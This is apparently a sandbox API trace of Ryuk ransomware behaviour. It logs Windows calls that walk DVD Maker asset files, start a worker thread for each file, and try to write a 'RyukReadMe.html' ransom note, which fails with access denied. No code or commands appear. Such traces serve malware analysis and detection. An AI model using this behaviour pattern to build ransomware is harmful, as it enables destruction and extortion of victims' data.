	[0172.961] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0172.961] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64
	[0172.963] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.964] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0172.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68
	[0172.966] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.966] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x76, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1
	[0172.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c
	[0172.968] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.969] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x76, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1
	[0172.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70
	[0172.972] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.972] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x76, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1
	[0172.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74
	[0172.974] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.975] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x76, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1
	[0172.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0172.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78
	[0173.137] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.138] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1
	[0173.138] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c
	[0173.140] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.141] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1
	[0173.141] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80
	[0173.143] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.143] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1
	[0173.144] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84
	[0173.148] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.148] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1
	[0173.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88
	[0173.151] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.152] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1
	[0173.152] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c
	[0173.155] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.156] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1
	[0173.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90
	[0173.158] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.159] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x76, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1
	[0173.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa94
	[0173.162] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.162] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x76, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1
	[0173.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98
	[0173.165] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.166] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x76, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1
	[0173.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c
	[0173.169] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.170] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x76, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1
	[0173.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0
	[0173.384] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.385] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x76, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0
	[0173.385] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0173.746] SetLastError (dwErrCode=0x0) 
	[0173.746] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.758] GetLastError () returned 0x5
	[0173.758] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0173.758] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.758] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x62, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1
	[0173.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x990
	[0173.761] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.762] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x62, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1
	[0173.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa4
	[0173.764] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.764] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x62, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0173.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa8
	[0173.766] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.766] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x62, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1
	[0173.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaac
	[0173.770] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.770] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0173.770] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0
	[0173.772] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.773] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0173.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4
	[0173.775] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.775] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1
	[0173.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8
	[0173.778] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0173.779] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1
	[0173.779] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0173.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc
	[0174.007] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.007] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x62, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1
	[0174.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0
	[0174.009] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
